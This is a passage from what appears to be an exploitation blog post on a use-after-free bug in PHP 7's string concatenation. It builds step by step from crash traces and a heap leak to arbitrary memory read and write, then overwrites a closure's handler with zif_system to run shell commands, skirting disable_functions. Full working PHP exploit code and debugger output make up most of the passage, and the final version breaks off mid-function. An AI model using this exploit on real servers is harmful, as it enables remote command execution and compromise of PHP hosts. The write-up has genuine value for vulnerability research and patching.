[#0] Id 1, Name: "php", stopped 0x555555b44039 in concat_function (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44039 → concat_function(result=0x7ffff3e55608, op1=0x7ffff3e55608, op2=0x7fffffff7400)
[#1] 0x555555caf4d1 → zend_binary_op(op2=0x7ffff3e911d0, op1=0x7ffff3e55608, ret=0x7ffff3e55608)
[#2] 0x555555caf4d1 → ZEND_ASSIGN_OP_SPEC_CV_CONST_HANDLER()
[#3] 0x555555cfb267 → execute_ex(ex=0x7ffff3e13020)
[#4] 0x555555cfe6e6 → zend_execute(op_array=0x7ffff3e80380, return_value=0x0)
[#5] 0x555555b5213c → zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#6] 0x555555a8a8ae → php_execute_script(primary_file=0x7fffffffcbe0)
[#7] 0x555555d012b1 → do_cli(argc=0x2, argv=0x55555678a350)
[#8] 0x555555d026e5 → main(argc=0x2, argv=0x55555678a350)
We can confirm that the issue is present. If we check the original PoC reported on that bug tracker thread we can see this:
// Just for attaching a debugger.
// Removing these lines makes the exploit fail,
// but it doesn't mean this exploit depends on fopen.
// By considering the heap memory that had been allocated for the stream object and
// adjusting heap memory, the exploit will succeed again.
$f = fopen(‘php://stdin’, ‘r’);
fgets($f);
$my_var = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var,&$buf){
$my_var=1;
$buf=str_repeat(“xxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16);
});
$my_var[1] .= 1234;
$my_var[1] .= 1234;
$obj_addr = 0;
for ($i = 23; $i >= 16; $i--){
$obj_addr *= 256;
$obj_addr += ord($buf[$i]);
}
This code can be adapted to confirm the UAF issue. In our case we can edit it to leak 0x100 bytes of memory:
<?php
function leak_test() {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 255;
$buf = str_repeat("\x00", 0x100);
});
$arr[1] .= 1337;
return $buf;
}
function alloc($size, $canary) {
return str_shuffle(str_repeat($canary, $size));
}
print leak_test();
?>
When we print the $buf
variable we can see memory leaked (the pointer in the hex dump is a clear indicator of it -also this pointer is a good leak of the heap-):
➜ concat-exploit php blog01.php | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 6019 40b8 8f7f 0000 0601 0000 0000 0000 `.@.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Keep in mind that PHP believes this $buf
is a string so we can access to read/modify bytes in memory by just $buff[offset]
. This means we have a relative write/read primitive that we need to weaponize.
Once we have identified the vulnerability and how to trigger it we need to find a way to get arbitrary read and write primitives. To build our exploit we are going to follow a similar schema as the exploit that Mm0r1 created for the BackTrace bug (the exploit is explained in depth in the article linked at the beggining of this post, so go and read it!).
If you remember this fragment from the quoted thread:
The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator)
We can take advantage of this to get the ability to release memory at our will. As we saw with the 0x123
crash example, we can forge a fake value that is going to be passed to the PHP internal functions in charge to release memory. Let’s build a De Bruijn pattern using ragg2
and use it:
<?php
function free() {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1;
$buf = str_repeat("AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
});
$arr[1] .= 1337;
}
function alloc($size, $canary) {
return str_shuffle(str_repeat($canary, $size));
}
print free();
?>
Fire in the hole!
─────────────────────────────────────────────────────────────────────────────────────────────── source:/home/vagrant/E[...].h+1039 ────
1034 ZEND_RC_MOD_CHECK(p);
1035 return ++(p->refcount);
1036 }
1037
1038 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
// p=0x007fffffff72b8 → 0x4141484141474141
→ 1039 ZEND_ASSERT(p->refcount > 0);
1040 ZEND_RC_MOD_CHECK(p);
1041 return --(p->refcount);
1042 }
1043
1044 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44b2f → zend_gc_delref(p=0x4141484141474141)
[#1] 0x555555b44b2f → i_zval_ptr_dtor(zval_ptr=0x7ffff3e5cba8)
[#2] 0x555555b44b2f → concat_function(result=0x7ffff3e5cba8, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b → zend_binary_op(op2=0x7ffff3e97390, op1=0x7ffff3e5cba8, ret=0x7ffff3e5cba8)
[#4] 0x555555caf02b → ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257 → execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6 → zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c → zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae → php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1 → do_cli(argc=0x2, argv=0x55555678a350)
As we can see part of our pattern arrived to the zend_gc_delref
function and crashed. This function tries to decrease the reference counter, and it is called from i_zval_ptr_dtor
:
static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr)
{
if (Z_REFCOUNTED_P(zval_ptr)) {
zend_refcounted *ref = Z_COUNTED_P(zval_ptr);
if (!GC_DELREF(ref)) {
rc_dtor_func(ref);
} else {
gc_check_possible_root(ref);
}
}
}
This function is used to destroy the variable passed as argument (a pointer to the desired zval
, we can see the pointer is the same used as result
in the concatenation). In our case a pointer to part of the faked contents at $buf
. So if we change that part for “X” we should verify that we can control what is going to be released:
$buf = str_repeat("AAABAACAADAAEAAF" . XXXXXXXX . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
1034 ZEND_RC_MOD_CHECK(p);
1035 return ++(p->refcount);
1036 }
1037
1038 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
// p=0x007fffffff72b8 → 0x5858585858585858
→ 1039 ZEND_ASSERT(p->refcount > 0);
1040 ZEND_RC_MOD_CHECK(p);
1041 return --(p->refcount);
1042 }
1043
1044 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44b2f → zend_gc_delref(p=0x5858585858585858)
[#1] 0x555555b44b2f → i_zval_ptr_dtor(zval_ptr=0x7ffff3e5d328)
[#2] 0x555555b44b2f → concat_function(result=0x7ffff3e5d328, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b → zend_binary_op(op2=0x7ffff3e95390, op1=0x7ffff3e5d328, ret=0x7ffff3e5d328)
[#4] 0x555555caf02b → ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257 → execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6 → zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c → zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae → php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1 → do_cli(argc=0x2, argv=0x55555678a350)
At this point we can:
We can use the leaked pointer to know the location of another variable that we allocate as placeholder and then free that variable.
<?php
class exploit {
public function __construct($cmd) {
$concat_result_addr = $this->leak_heap();
print "[+] Concated string address:\n0x";
print dechex($concat_result_addr);
$this->placeholder = $this->alloc(0x4F, "B");
$placeholder_addr = $concat_result_addr+0xe0;
print "\n[+] Placeholder string address:";
print "\n0x".dechex($placeholder_addr);
print "\n[+] Before free:\n";
debug_zval_dump($this->placeholder);
$this->free($placeholder_addr);
print "\n[+] After free:\n";
debug_zval_dump($this->placeholder);
}
private function leak_heap() {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1337;
$buf = str_repeat("\x00", 0x100);
});
$arr[1] .= $this->alloc(0x4A, "F"); // 0x4F - 5 from the length of "Array" string concatenated
return $this->str2ptr($buf, 16);
}
private function free($var_addr) {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
$arr = 1;
$buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
});
$arr[1] .= 1337;
}
private function alloc($size, $canary) {
return str_shuffle(str_repeat($canary, $size));
}
private function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
}
new exploit("haha");
?>
And we can see that it worked:
➜ concat-exploit php blog03.php
[+] Concated string address:
0x7f763f27a070
[+] Placeholder string address:
0x7f763f27a150
[+] Before free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(2)
[+] After free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(1059561697)
As we said before, we are going to build step by step an exploit similar to the one explained in the article A deep dive into disable_functions bypasses and PHP exploitation, reusing as much as we can. So we are going to take advantage of our ability to free memory to create a hole that is going to be occupied by an object that we are going to use for reading/writing arbitrary memory. As we know where the hole is (the address of the placeholder, that is calculated applying an offset to the leaked address), we can access to the properties’ memory contents directly ($placeholder[offset]
) and use them to leak memory at any desired address. We can perform an easy test:
<?php
class Helper { public $a, $b, $c, $d; }
class exploit {
public function __construct($cmd) {
$concat_result_addr = $this->leak_heap();
print "[+] Concated string address:\n0x";
print dechex($concat_result_addr);
$this->placeholder = $this->alloc(0x4F, "B");
$placeholder_addr = $concat_result_addr+0xe0;
print "\n[+] Placeholder string address:";
print "\n0x".dechex($placeholder_addr);
$this->free($placeholder_addr);
$this->helper = new Helper;
$this->helper->a = "KKKK";
}
private function leak_heap() {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1337;
$buf = str_repeat("\x00", 0x100);
});
$arr[1] .= $this->alloc(0x4A, "F");
return $this->str2ptr($buf, 16);
}
private function free($var_addr) {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
$arr = 1;
$buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
});
$arr[1] .= 1337;
}
private function alloc($size, $canary) {
return str_shuffle(str_repeat($canary, $size));
}
private function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
}
new exploit("haha");
?>
Our new object ($helper
) is going to take the location of our $placeholder
freed, so we can review the memory at that address:
gef➤ x/30g 0x7ffff3e7a150
0x7ffff3e7a150: 0x0000001800000001 0x0000000000000004
0x7ffff3e7a160: 0x00007ffff3e03018 0x00005555567527c0
0x7ffff3e7a170: 0x0000000000000000 0x00007ffff3e55ec0 <--- helper->a
0x7ffff3e7a180: 0x0000000000000006 0x8000065301d853e5
0x7ffff3e7a190: 0x0000000000000001 0x8000065301d853e5
0x7ffff3e7a1a0: 0x0000000000000001 0x8000065301d853e5
0x7ffff3e7a1b0: 0x0000000000000001 0x0000000000000000
0x7ffff3e7a1c0: 0x00007ffff3e7a230 0x0000000000000000
0x7ffff3e7a1d0: 0x0000000000000000 0x0000000000000000
0x7ffff3e7a1e0: 0x0000000000000000 0x0000000000000000
0x7ffff3e7a1f0: 0x0000000000000000 0x0000000000000000
0x7ffff3e7a200: 0x0000000000000000 0x0000000000000000
0x7ffff3e7a210: 0x0000000000000000 0x0000000000000000
0x7ffff3e7a220: 0x0000000000000000 0x0000000000000000
0x7ffff3e7a230: 0x00007ffff3e7a2a0 0x0000000000000000
We can see that the property a
(that is a string) is located at 0x7ffff3e7a178
(0x7ffff3e7a150 + 0x28). We can verify it:
gef➤ x/30g 0x00007ffff3e55ec0
0x7ffff3e55ec0: 0x0000004600000001 0x800000017c8778f1
0x7ffff3e55ed0: 0x0000000000000004 0x000072004b4b4b4b <-- 4b == K
0x7ffff3e55ee0: 0x0000004600000001 0x8000000000597a79
0x7ffff3e55ef0: 0x0000000000000002 0x0000000000007a7a
0x7ffff3e55f00: 0x00007ffff3e555c0 0x00007ffff3e60300
0x7ffff3e55f10: 0x00007ffff3e60360 0x0000555556795a50
0x7ffff3e55f20: 0x00007ffff3e55f40 0x0000000000000000
0x7ffff3e55f30: 0x0000000000000000 0x0000000000000000
0x7ffff3e55f40: 0x00007ffff3e55f60 0x0000000000000000
0x7ffff3e55f50: 0x0000000000000000 0x0000000000000000
0x7ffff3e55f60: 0x00007ffff3e55f80 0x0000000000000000
0x7ffff3e55f70: 0x0000000000000000 0x0000000000000000
0x7ffff3e55f80: 0x00007ffff3e55fa0 0x0000000000000000
0x7ffff3e55f90: 0x0000000000000000 0x0000000000000000
0x7ffff3e55fa0: 0x00007ffff3e55fc0 0x0000000000000000
The “KKKK” (4b4b4b4b) string is in that place. In PHP 7 strings are saved inside the structure zend_string
that is defined as:
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1]; // NOT A "char *"
};
So if we interpret this memory as a zend_string
we can visualize it better:
gef➤ print (zend_string)*0x00007ffff3e55ec0
$3 = {
gc = {
refcount = 0x1,
u = {
type_info = 0x46
}
},
h = 0x800000017c8778f1,
len = 0x4,
val = "K"
}
As we can overwrite bytes inside the $helper
object, we can take advantage of it to overwrite the pointer to the original a
string (our “KKKK”) with a pointer to any desired address. After overwriting the pointer, we can read safely the bytes at the address + 0x10 (len
field inside zend_string
) calling strlen()
with our $helper->a
. Using this simple trick we can get an arbitrary read primitive:
private function write(&$str, $p, $v, $n = 8) {
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function leak($addr, $p = 0, $s = 8) {
$this->write($this->placeholder, 0x10, $addr);
$leak = strlen($this->helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
The next step in our exploit is to search where the basic_functions
structure is located in memory, and then walk it until we find the handler for zif_system
or similar functions that allow us the execution of commands. Although this is really well explained in the quoted article, let’s just give it a short explanation here.
In PHP the “basic” functions are grouped into basic_functions
for registration, this being an array of zend_function_entry
structures. Therefore, in this basic_functions
we will have, ultimately, an ordered relationship of function names along with the pointer to them (handlers). The zend_function_entry
structure is defined as:
typedef struct _zend_function_entry {
const char *fname;
void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
const struct _zend_internal_arg_info *arg_info;
uint32_t num_args;
uint32_t flags;
} zend_function_entry;
So the first member is a pointer to a string that contains the function name, and the next member is a handler to that function. In order to identify a member of the basic_functions
structure we can follow the next approach:
It can be translated to:
private function get_basic_funcs($base) {
for ($i = 0; $i < 0x6700/8; $i++) {
$leak = $this->leak($base - $i * 8);
if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
$deref = $this->leak($leak);
if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
continue;
}
} else continue;
return $base - ($i-2) * 8;
}
}
Once we have found where the zend_function_entry
that holds the information for bin2hex()
is located, we can repeat the process to locate the handler for zif_system
:
private function get_system($basic_funcs) {
$addr = $basic_funcs;
$i = 0;
do {
$f_entry = $this->leak($addr-0x10);
$f_name = $this->leak($f_entry);
if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
return $this->leak($addr + 8-0x10);
}
$addr += 0x20;
$i += 1;
} while ($f_entry != 0);
return false;
}
Another aproach to locate the zif_system
handler could be to just apply a pre-known offset to the zend_function_entry
for bin2hex
because the entries in the array are ordered.
Our exploit has all the ingredients ready, except from the last one: jumping into the target function. In order to call zif_system
we are going to add a closure to our helper object and overwrite it. Closures are anonymous functions with the following structure:
typedef struct _zend_closure {
zend_object std;
zend_function func;
zval this_ptr;
zend_class_entry *called_scope;
zif_handler orig_internal_handler;
} zend_closure;
If we look carefully we can see that one of the members is a zend_function
structure:
union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
zend_op_array op_array;
zend_internal_function internal_function;
};
And zend_internal_function
is:
typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */
zif_handler handler;
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;
We can see the handler
member. So the plan is easy:
zend_closure
structure to other part$helper
object to point to this new location instead of the originalhandler
member to point to our zif_system
The resultant code:
//...
$this->helper->b = function ($x) { };
//...
$fake_obj_offset = 0xd8;
for ($i = 0; $i < 0x110; $i += 8) {
$this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
}
$fake_obj_addr = $placeholder_addr + $fake_obj_offset + 0x18;
print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);
$this->write($this->placeholder, 0x20, $fake_obj_addr);
$this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
$this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
($this->helper->b)($cmd);
Original closure:
gef➤ print (zend_closure) * 0x7ffff3e5ce00
$5 = {
std = {
gc = {
refcount = 0x1,
u = {
type_info = 0x18
}
},
handle = 0x5,
ce = 0x5555567ea530,
handlers = 0x55555676daa0 <closure_handlers>,
...
internal_function = {
type = 0x2,
arg_flags = "\000\000",
fn_flags = 0x2100001,
function_name = 0x7ffff3e01960,
scope = 0x7ffff3e032a0,
prototype = 0x0,
num_args = 0x1,
required_num_args = 0x1,
arg_info = 0x7ffff3e6b0c0,
handler = 0x100000000,
module = 0x200000000,
reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
}
...
Fake closure after patching it:
gef➤ print (zend_closure) * 0x7ffff3e7a240
$6 = {
std = {
gc = {
refcount = 0x2,
u = {
type_info = 0x18
}
},
handle = 0x5,
ce = 0x5555567ea530,
handlers = 0x55555676daa0 <closure_handlers>,
...
internal_function = {
type = 0x1,
arg_flags = "\000\000",
fn_flags = 0x2100001,
function_name = 0x7ffff3e01960,
scope = 0x7ffff3e032a0,
prototype = 0x0,
num_args = 0x1,
required_num_args = 0x1,
arg_info = 0x7ffff3e6b0c0,
handler = 0x555555965e1b <zif_system>, <---- :D
module = 0x200000000,
reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
}
...
Chaining all together the exploit is:
<?php
class Helper { public $a, $b, $c, $d; }
class exploit {
public function __construct($cmd) {
$concat_result_addr = $this->leak_heap();
print "[+] Concated string address:\n0x";
print dechex($concat_result_addr);
$this->placeholder = $this->alloc(0x4F, "B");
$placeholder_addr = $concat_result_addr+0xe0;
print "\n[+] Placeholder string address:";
print "\n0x".dechex($placeholder_addr);
$this->free($placeholder_addr);
$this->helper = new Helper;
$this->helper->a = "KKKK";
$this->helper->b = function ($x) { };
print "\n[+] std_object_handlers:\n";
$std_object_handlers = $this->str2ptr($this->placeholder);
print "0x" . dechex($std_object_handlers) . "\n";
$closure_addr = $this->str2ptr($this->placeholder, 0x20);
print "[+] Closure:\n";
print "0x" . dechex($closure_addr) . "\n";
$basic = $this->get_basic_funcs($std_object_handlers);
print "[+] basic_funcs:\n";
print "0x" . dechex($basic) . "\n";
$system = $this->get_system($basic);
print "[+] zif_system:\n";
print "0x" . dechex($system);
$fake_obj_offset = 0xd8;
for ($i = 0; $i < 0x110; $i += 8) {
$this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
}
$fake_obj_addr = $placeholder_addr + $fake_obj_offset + 0x18;
print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr) . "\n\n";
$this->write($this->placeholder, 0x20, $fake_obj_addr);
$this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
$this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
($this->helper->b)($cmd);
}
private function leak_heap() {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1337;
$buf = str_repeat("\x00", 0x100);
});
$arr[1] .= $this->alloc(0x4A, "F");
return $this->str2ptr($buf, 16);
}
private function free($var_addr) {
$contiguous = [];
for ($i = 0; $i < 10; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
$arr = 1;
$buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
});
$arr[1] .= 1337;
}
private function alloc($size, $canary) {
return str_shuffle(str_repeat($canary, $size));
}
private function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function write(&$str, $p, $v, $n = 8) {
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function leak($addr, $p = 0, $s = 8) {
$this->write($this->placeholder, 0x10, $addr);
$leak = strlen($this->helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
private function get_basic_funcs($base) {
for ($i = 0; $i < 0x6700/8; $i++) {
$leak = $this->leak($base - $i * 8);
if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
$deref = $this->leak($leak);
if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
continue;
}
} else continue;
return $base - ($i-2) * 8;
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
$i = 0;
do {
$f_entry = $this->leak($addr-0x10);
$f_name = $this->leak($f_entry);
if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
return $this->leak($addr + 8-0x10);
}
$addr += 0x20;
$i += 1;
} while ($f_entry != 0);
return false;
}
}
new exploit("id");
?>
Fire in the hole!
➜ concat-exploit php blog05.php
[+] Concated string address:
0x7f9e2c07a070
[+] Placeholder string address:
0x7f9e2c07a150
[+] std_object_handlers:
0x564fde7127c0
[+] Closure:
0x7f9e2c05ce00
[+] basic_funcs:
0x564fde70c760
[+] zif_system:
0x564fdd925e1b
[+] Fake Closure addr:
0x7f9e2c07a240
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
If you run the exploit in our environment, you will notice that it does not work. We built the exploit for a slighly different PHP version and all our tests were executed via PHP-CLI. The changes needed are:
0x100
used in the str_repeat()
to a constant. We are still atonished about this poltergeist.basic_functions
array. From 0x6e69623278656800
to 0x73006e6962327865
.get_system()
in 0x20, so the -0x10
should be a +0x10
The final exploit is:
<?php
class Helper { public $a, $b, $c, $d; } //alloc(0x4F)
class exploit {
const FILL = 0x100;
public function __construct($cmd) {
$concat_result_addr = $this->leak_heap();
print "[+] Concated string address:\n0x";
print dechex($concat_result_addr);
$this->placeholder = $this->alloc(0x4F, "B");
$placeholder_addr = $concat_result_addr+0xe0;
print "\n[+] Placeholder string address:";
print "\n0x".dechex($placeholder_addr);
$this->free($placeholder_addr);
$this->helper = new Helper;
$this->helper->a = "KKKK";
$this->helper->b = function ($x) { };
print "\n[+] std_object_handlers:\n";
$std_object_handlers = $this->str2ptr($this->placeholder);
print "0x" . dechex($std_object_handlers) . "\n";
$closure_addr = $this->str2ptr($this->placeholder, 0x20);
print "[+] Closure:\n";
print "0x" . dechex($closure_addr) . "\n";
$basic = $this->get_basic_funcs($std_object_handlers);
print "[+] basic_funcs:\n";
print "0x" . dechex($basic) . "\n";
$system = $this->get_system($basic);
print "[+] zif_system:\n";
print "0x" . dechex($system);
$fake_obj_offset = 0xd8;
for ($i = 0; $i < 0x110; $i += 8) {
$this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
}
$fake_obj_addr = $placeholder_addr + $fake_obj_offset + 0x18;
print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);
$this->write($this->placeholder, 0x20, $fake_obj_addr);
$this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
$this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
print "\nYour commnad, Sir:\n";
print ($this->helper->b)($cmd);
}
private function leak_heap() {
$contiguous = [];
for ($i = 0; $i < 100; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1337;
$buf = str_repeat("\x00", self::FILL);
});
$arr[1] .= $this->alloc(0x4F-5, "F");
return $this->str2ptr($buf, 16);
}
private function free($var_addr) {
for ($i = 0; $i < 100; $i++) {
$contiguous[] = $this->alloc(0x100, "D");
